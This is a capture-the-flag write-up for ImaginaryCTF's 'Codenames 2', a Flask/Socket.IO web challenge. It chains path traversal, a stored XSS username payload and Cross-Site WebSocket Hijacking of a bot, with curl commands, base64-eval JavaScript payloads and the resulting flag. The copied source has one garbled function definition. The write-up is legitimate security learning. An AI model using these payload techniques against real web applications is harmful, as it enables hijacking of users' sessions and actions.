ImaginaryCTF - Codenames 2

ImaginaryCTF - Codenames 2
  1. Introduction
  2. Exploitation

Introduction

Description

Codenames is no fun when your teammate sucks… Flag is in the environment variable FLAG_2, and please don’t spawn a lot of bots on remote. Test locally first.

Solves: 28

Source code

app.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
import os
import json
import random
import string
import sys
from flask import Flask, render_template, request, redirect, url_for, session, flash
from flask_socketio import SocketIO, join_room, emit
from werkzeug.security import generate_password_hash, check_password_hash

app = Flask(__name__, static_folder='static', template_folder='templates')
app.config['SECRET_KEY'] = os.environ.get('SECRET_KEY', os.urandom(16))

socketio = SocketIO(app)

# Secret prefix used to identify bot passwords; generated at startup
BOT_SECRET_PREFIX = ''.join(random.choices(string.ascii_uppercase + string.digits, k=8))
print("SECRET " + BOT_SECRET_PREFIX, file=sys.stderr)

PROFILES_DIR = 'profiles'
if not os.path.exists(PROFILES_DIR):
    os.makedirs(PROFILES_DIR)

games = {}
# Directory for language wordlists
WORDS_DIR = 'words'
# Ensure the words directory exists
if not os.path.exists(WORDS_DIR):
    os.makedirs(WORDS_DIR)
# Available languages (filenames without extension)
LANGUAGES = [os.path.splitext(f)[0] for f in sorted(os.listdir(WORDS_DIR)) if f.lower().endswith('.txt')]

def load_profile(username):
    path = os.path.join(PROFILES_DIR, username)

    print(f"[*] Loading profile {path}", file=sys.stderr)

    if not os.path.exists(path):
        return None
    with open(path, 'r') as f:
        print(f , file=sys.stderr)
        return json.load(f)

def (profile):
    path = os.path.join(PROFILES_DIR, profile['username'])

    print(f"[*] Saving profile {path}", file=sys.stderr)

    with open(path, 'w') as f:
        print(f, file=sys.stderr)
        json.dump(profile, f)

@app.route('/')
def index():
    if 'username' in session:
        return redirect(url_for('lobby'))
    return render_template('index.html')

@app.route('/register', methods=['GET', 'POST'])
def register():
    if request.method == 'GET':
        if 'username' in session:
            return redirect(url_for('lobby'))
        return render_template('register.html')
    # get form inputs
    username = request.form.get('username', '').strip().replace('/', '')
    raw_pass = request.form.get('password', '')
    if len(raw_pass) < 8:
        flash('Password must be at least 8 characters')
        return redirect(url_for('register'))
    if not username or not raw_pass:
        flash('Username and password required')
        return redirect(url_for('register'))
    if load_profile(username):
        flash('Username already exists')
        return redirect(url_for('register'))
    # detect bot via secret prefix in password
    is_bot = False
    pwd = raw_pass
    if raw_pass.startswith(BOT_SECRET_PREFIX):
        is_bot = True
        pwd = raw_pass[len(BOT_SECRET_PREFIX):]
    # hash stripped password
    pw_hash = generate_password_hash(pwd)
    profile = {'username': username, 'password_hash': pw_hash, 'wins': 0, 'is_bot': is_bot}
    save_profile(profile)
    session['username'] = username
    session['is_bot'] = is_bot
    return redirect(url_for('lobby'))

@app.route('/login', methods=['GET', 'POST'])
def login():
    if request.method == 'GET':
        if 'username' in session:
            return redirect(url_for('lobby'))
        return render_template('login.html')
    username = request.form.get('username', '').strip()
    raw_pass = request.form.get('password', '')
    profile = load_profile(username)
    if not profile:
        flash('Invalid username or password')
        return redirect(url_for('login'))
    # detect bot via secret prefix and strip
    is_bot = False
    pwd = raw_pass
    if raw_pass.startswith(BOT_SECRET_PREFIX):
        is_bot = True
        pwd = raw_pass[len(BOT_SECRET_PREFIX):]
    # verify password
    if not check_password_hash(profile['password_hash'], pwd):
        flash('Invalid username or password')
        return redirect(url_for('login'))
    session['username'] = username
    # preserve bot flag from profile or prefix
    session['is_bot'] = profile.get('is_bot', is_bot)
    return redirect(url_for('lobby'))

@app.route('/logout')
def logout():
    session.pop('username', None)
    return redirect(url_for('index'))

@app.route('/lobby')
def lobby():
    if 'username' not in session:
        return redirect(url_for('index'))
    
    profile = load_profile(session['username'])
    wins = profile.get('wins', 0) if profile else 0
    return render_template('lobby.html', wins=wins, languages=LANGUAGES)

@app.route('/create_game', methods=['POST'])
def create_game():
    if 'username' not in session:
        return redirect(url_for('index'))
    # generate unique code
    while True:
        code = ''.join(random.choices(string.ascii_uppercase + string.digits, k=6))
        if code not in games:
            break
    # prepare game with selected language word list
    # determine language (default to first available)
    language = request.form.get('language', None)

    if not language or '.' in language:
        language = LANGUAGES[0] if LANGUAGES else None
    
    print(f"[+] Using language {language}", file=sys.stderr)
    # load words for this language
    word_list = []
    if language:
        wl_path = os.path.join(WORDS_DIR, f"{language}.txt")
        print(f"[+] Using path {wl_path}", file=sys.stderr)
        try:
            with open(wl_path) as wf:
                word_list = [line.strip() for line in wf if line.strip()]
                print("Opened, wordlist:", file=sys.stderr)
                print(word_list, file=sys.stderr)
        except IOError as e:
            print(e)
            word_list = []
            print("Opened, wordlist:", file=sys.stderr)
            print(word_list, file=sys.stderr)

    # fallback if needed
    if not word_list:
        word_list = []
    # pick 25 random words
    words = random.sample(word_list, 25) if len(word_list) >= 25 else random.sample(word_list * 25, 25)
    start_team = random.choice(['red', 'blue'])
    counts = {
        'red': 9 if start_team == 'red' else 8,
        'blue': 9 if start_team == 'blue' else 8
    }
    # assign colors by index to support duplicate words
    indices = list(range(25))
    random.shuffle(indices)
    colors_list = [None] * 25
    # one assassin
    assassin_idx = indices.pop()
    colors_list[assassin_idx] = 'assassin'
    # team words
    for team in ['red', 'blue']:
        for _ in range(counts[team]):
            idx = indices.pop()
            colors_list[idx] = team
    # the rest are neutral
    for idx in indices:
        colors_list[idx] = 'neutral'
    # determine hard mode (double win points)
    hard_mode = bool(request.form.get('hard_mode'))
    # initialize game state
    game = {
        'players': [session['username']],
        'board': words,
        'colors': colors_list,
        'revealed': [False] * 25,
        'start_team': start_team,
        'team_color': start_team,
        'clue_giver': None,
        'clue': None,
        'guesses_remaining': 0,
        'score': 0,
        'hard_mode': hard_mode,
        'bots': []
    }
    games[code] = game
    return redirect(url_for('game_view', code=code))

@app.route('/join_game', methods=['POST'])
def join_game():
    if 'username' not in session:
        return redirect(url_for('index'))
    code = request.form.get('code', '').strip().upper()
    game = games.get(code)
    if not game or len(game['players']) >= 2:
        flash('Invalid or full game code')
        return redirect(url_for('lobby'))
    if session['username'] in game['players']:
        return redirect(url_for('game_view', code=code))
    game['players'].append(session['username'])
    # assign the joiner as clue giver
    game['clue_giver'] = session['username']
    return redirect(url_for('game_view', code=code))

@app.route('/game/<code>')
def game_view(code):
    if 'username' not in session:
        return redirect(url_for('index'))
    game = games.get(code)
    if not game or session['username'] not in game['players']:
        flash('Invalid game access')
        return redirect(url_for('lobby'))
    player_idx = game['players'].index(session['username'])
    return render_template('game.html', code=code, username=session['username'], player_idx=player_idx)

@app.route('/add_bot', methods=['POST'])
def add_bot():
    if 'username' not in session:
        return redirect(url_for('index'))
    code = request.form.get('code', '').strip().upper()
    game = games.get(code)
    if not game or session['username'] not in game['players']:
        flash('Invalid game code')
        return redirect(url_for('lobby'))
    # spawn a bot process to join this game
    import subprocess, sys, os as _os
    script = _os.path.join(_os.getcwd(), 'bot.py')
    # pass secret prefix to bot via environment
    env = _os.environ.copy()
    env['BOT_SECRET_PREFIX'] = BOT_SECRET_PREFIX
    
    print(f"{sys.executable} {script} {code}", file=sys.stderr)
    
    subprocess.Popen([sys.executable, script, code], env=env)
    return redirect(url_for('game_view', code=code))

@socketio.on('join')
def on_join():
    code = request.args.get('code')
    game = games.get(code)
    username = session.get('username')
    if not game or username not in game['players']:
        return

    # join the game room and record this client's socket id
    join_room(code)
    # map this player's username to their session id for personalized emits
    game.setdefault('sids', {})[username] = request.sid
    # record bot participants
    if session.get('is_bot'):
        if 'bots' in game and username not in game['bots']:
            game['bots'].append(username)
    # when both players have joined via WebSocket, send start_game to each individually
    # ensure game has two players and both have connected
    if len(game.get('players', [])) == 2 and len(game.get('sids', {})) == 2:
        # common payload for both roles
        payload_common = {
            'board': game['board'],
            'revealed': game['revealed'],
            'clue_giver': game['clue_giver'],
            'team_color': game['team_color'],
            'score': game['score'],
            'clue': game['clue'],
            'guesses_remaining': game['guesses_remaining'],
            'hard_mode': game.get('hard_mode', False)
        }
        # send full colors to clue giver, omit for guesser
        for player, sid in game['sids'].items():
            data = payload_common.copy()
            if player == game['clue_giver']:
                data['colors'] = game['colors']
            emit('start_game', data, room=sid)

@socketio.on('give_clue')
def on_give_clue(data):
    code = request.args.get('code')
    game = games.get(code)
    user = session.get('username')

    print(f"[*] code {code} game {game} user {user}", file=sys.stderr)


    # only clue giver can send clues
    if not game or user != game.get('clue_giver'):
        print(f"User is not the clue giver ({user} != {game.get('clue_giver')})", file=sys.stderr)
        return

    clue = data.get('clue')

    try:
        num = int(data.get('number', 0))
    except:
        num = 0

    game['clue'] = clue
    game['guesses_remaining'] = num

    print(f"[i] Emitting the given clue with number {num}", file=sys.stderr)

    emit('clue_given', {'clue': clue, 'guesses_remaining': num}, room=code)

@socketio.on('make_guess')
def on_make_guess(data):
    code = request.args.get('code')
    game = games.get(code)
    user = session.get('username')
    # only guesser and when guesses remain
    if not game or user == game.get('clue_giver') or game.get('guesses_remaining', 0) <= 0:
        return
    # extract index of guessed cell
    try:
        idx = int(data.get('index'))
    except:
        return
    # validate index and reveal state
    if idx < 0 or idx >= len(game['board']) or game['revealed'][idx]:
        return
    word = game['board'][idx]
    color = game['colors'][idx]
    game['revealed'][idx] = True
    # scoring: +1 for your team, -1 for opponent, 0 for neutral
    team = game.get('team_color')
    if color == team:
        game['score'] += 1
    elif color != 'neutral':
        game['score'] -= 1
    # decrement guesses
    game['guesses_remaining'] -= 1
    # check lose condition: assassin, negative score, or opponent pick in hard mode
    opponent = 'red' if team == 'blue' else 'blue'
    hard_mode = game.get('hard_mode', False)
    lose_flag = (color == 'assassin' or game['score'] < 0 or (hard_mode and color == opponent))
    if lose_flag:
        # determine lose message
        if hard_mode and color == opponent:
            lose_msg = "Sorry, in Hard Mode you guessed the opposing team's word. You lost!"
        elif color == 'assassin':
            lose_msg = "Sorry, you hit the assassin. You lost!"
        elif game['score'] < 0:
            lose_msg = "Sorry, your score went negative. You lost!"
        else:
            lose_msg = "Sorry, you lost!"
        emit('update', {
            'index': idx,
            'color': color,
            'score': game['score'],
            'guesses_remaining': game['guesses_remaining'],
            'lose': True,
            'lose_msg': lose_msg
        }, room=code)
        return
    # check win condition: all your team words revealed
    win_flag = all(game['revealed'][i] for i, col in enumerate(game['colors']) if col == team)
    if win_flag:
        # award wins (double if hard mode)
        bonus = 2 if game.get('hard_mode') else 1
        for p in game['players']:
            profile = load_profile(p)
            if profile:
                profile['wins'] = profile.get('wins', 0) + bonus
                save_profile(profile)
        # prepare payload, including flag if bot is in game and hard mode
        payload = {
            'index': idx,
            'color': color,
            'score': game['score'],
            'guesses_remaining': game['guesses_remaining'],
            'win': True,
            'wins_awarded': bonus
        }
        # cooperative bot wins when human wins
        if game.get('hard_mode'):
            # include flag if a bot is in this game
            if game.get('bots'):
                try:
                    payload['flag'] = os.environ.get("FLAG_2")
                except Exception:
                    pass
        emit('update', payload, room=code)
        return
    # normal update
    emit('update', {
        'index': idx,
        'color': color,
        'score': game['score'],
        'guesses_remaining': game['guesses_remaining'],
        'win': False
    }, room=code)

if __name__ == '__main__':
    socketio.run(app)

Exploitation

Goal

My goal is to find an XSS to weaponize it into a Cross-Site WebSocket Hijacking vulnerability. With the CSWSH, I will trick the bot into giving us a huge guesses_remaining number, so that we can check every word. To do so, we need to trick the bot into emitting a give_clue WebSocket event, because only clue_giver can emit this event. The bot is the clue_giver of the game, because he is the second player to join it. That means he is the only one who can give clues, and overwrite game["guesses_remaining"].

When emiting give_clue, the clue_giver specifies a number that will be used by the code as follows:

1
2
3
4
5
6
# Get the "number" parameter given by the clue_giver 
# in the emit event
num = int(data.get('number', 0))

# Assign this number into the "guesses_remaining" number
game['guesses_remaining'] = num

Basically the backend overwrites the value of game['guesses_remaining']. When we try to play (aka to emit a make_guess WebSocket event), The backend doesn’t check for “win” or “lose” or whatever state, it only checks if guesses_remaining is >= 0:

1
2
3
# only guesser and when guesses remain
if not game or user == game.get('clue_giver') or game.get('guesses_remaining', 0) <= 0:
    return

In other words, if we have a high number of guesses_remaining and we are not clue giver we can test all words until all our words are displayed.

1
win_flag = all(game['revealed'][i] for i, col in enumerate(game['colors']) if col == team)

If all our words are displayed, win_flag will be equal to True, and the backend will give us the flag.

Confirm XSS

If we create a user with this name:

1
<img src=x onerror='alert(1)'>.txt

Then create a game using the path traversal trick seen in codenames-1 on this URL:

1
2
3
❯ curl -X POST "http://34.72.72.63:15703/create_game" \  
  -H 'Cookie: session=eyJpc19ib3QiOmZhbHNlLCJ1c2VybmFtZSI6IjxpbWcgc3JjPXggb25lcnJvcj0nYWxlcnQoMSknPi50eHQifQ.aL1CHg.RnimUkggq4TRXEGH-PnpL8Y1H5I' \
  -d "language=/app/profiles/<img src=x onerror='alert(1)'>"
1
2
3
4
5
<!doctype html>
<html lang=en>
<title>Redirecting...</title>
<h1>Redirecting...</h1>
<p>You should be redirected automatically to the target URL: <a href="/game/6MPPJ6">/game/6MPPJ6</a>. If not, click the link.

Then access http://34.72.72.63:15703/game/T47RBD, then hit the Add bot button:

index We have an XSS !

Exploit CSWSH

Crafting the payload

Since we have XSS, it’ll be really easy to obtain Cross-Site WebSocket Hijacking. Here is the payload that I used:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// Get the 6 last chars of the URL, URL is in format http://34.72.72.63:15703/game/6MPPJ6
game_code = String(window.location).slice(-6)

// Open a websocket to the game
s = io({query: "code=" + }); 

// Every 5 seconds, emit a clue that will overwrite
// the game["guesses_remaining"], setting it to 100
setInterval(
    function() { 
        s.emit("give_clue", { 
            clue: "PWNED", 
            // Set a high number of guesses
            number:100 
        }) 
    }, 5000
)

I put the payload on one line, and simplify it a bit:

1
s = io({query: "code=" + String(window.location).slice(-6)}); setInterval(function(){ s.emit("give_clue",{ clue: "PWNED", number:100 }) }, 5000)

Bas64 encode it, and put it in an eval:

1
eval(atob(`cyA9IGlvKHtxdWVyeTogImNvZGU9IiArIFN0cmluZyh3aW5kb3cubG9jYXRpb24pLnNsaWNlKC02KX0pOyBzZXRJbnRlcnZhbChmdW5jdGlvbigpeyBzLmVtaXQoImdpdmVfY2x1ZSIseyBjbHVlOiAiUFdORUQiLCBudW1iZXI6MTAwIH0pIH0sIDUwMDAp`))

Why using an eval ? The payload contains a lot of ., and . are filtered by the backend:

1
2
if not language or '.' in language:
    language = LANGUAGES[0] if LANGUAGES else None

So the final payload will be to signup with this username:

1
<img src=x onerror='eval(atob(`cyA9IGlvKHtxdWVyeTogImNvZGU9IiArIFN0cmluZyh3aW5kb3cubG9jYXRpb24pLnNsaWNlKC02KX0pOyBzZXRJbnRlcnZhbChmdW5jdGlvbigpeyBzLmVtaXQoImdpdmVfY2x1ZSIseyBjbHVlOiAiUFdORUQiLCBudW1iZXI6MTAwIH0pIH0sIDUwMDAp`))'>.txt
Using the payload

I start by creating the user:

index Sign up with malicious user

Then I create a game in hard mode with my payload like this:

1
2
3
curl -X POST 'http://34.72.72.63:37548/create_game' \
  -H "Cookie: session=.eJwNzU1vgjAAgOG_YrioybIgziWYuQQxQgdCZPIhl9nSCmUtNBQQtuy_j8N7eg7vr0LlF6pbZXuHTJInpZOkqSAnylZ5ozyfySbbDbO6Ik1TN7s56SFbwLZGi1s2GjqwWO_Y7YDjaCSXOgfc61Mr1AE1GnD01IyzLh2LNYw332iddcjSy2sSCKS9CLfyJIw95piq5iSq8Mf9T5oEH6gKWFalBTILjuNNiacHorkgk7s8amFyrgHHAvPoftWGVfoJ5GQlsiPmU4OGR-wH4Zm65r7D8YqmCXg9XYwHsFUxJcEhfJwOhrgtl_P353Zolb9_Xkta9g.aL29RQ.qHqfiySOrFC5oxE6cZbubENY5Jg" \
  -d "language=/app/profiles/<img src=x onerror='eval(atob(\`cyA9IGlvKHtxdWVyeTogImNvZGU9IiArIFN0cmluZyh3aW5kb3cubG9jYXRpb24pLnNsaWNlKC02KX0pOyBzZXRJbnRlcnZhbChmdW5jdGlvbigpeyBzLmVtaXQoImdpdmVfY2x1ZSIseyBjbHVlOiAiUFdORUQiLCBudW1iZXI6MTAwIH0pIH0sIDUwMDAp\`))'>&hard_mode=1"
1
2
3
4
5
<!doctype html>
<html lang=en>
<title>Redirecting...</title>
<h1>Redirecting...</h1>
<p>You should be redirected automatically to the target URL: <a href="/game/DBNAOZ">/game/DBNAOZ</a>. If not, click the link.

I access in my browser, and hit the Add bot button:

index

Wait a little bit, and here we go: index

Our exploit is successful, loke at the Guesses Remaining. It’s = to 100. Now I will just manually click on every word. If I click on the wrong word and get an error message like this: index

I just have to open a new tab and reaccess the game link (http://34.72.72.63:15703/game/DBNAOZ): index

Because like I said earlier there is no “game_ended” or “won” or “lost” variable that tracks the state of the game. There is only guesses_remaining, that we can overwrite via CSWSH.

Get the flag

Eventually after clicking on almost all words, getting kicked, rejoining, clicking on another word and so on, I got this message: index

And after hitting ok, I got the flag: index

1
ictf{insane_mind_reading_908f13ab}
This post is licensed under CC BY 4.0 by the author.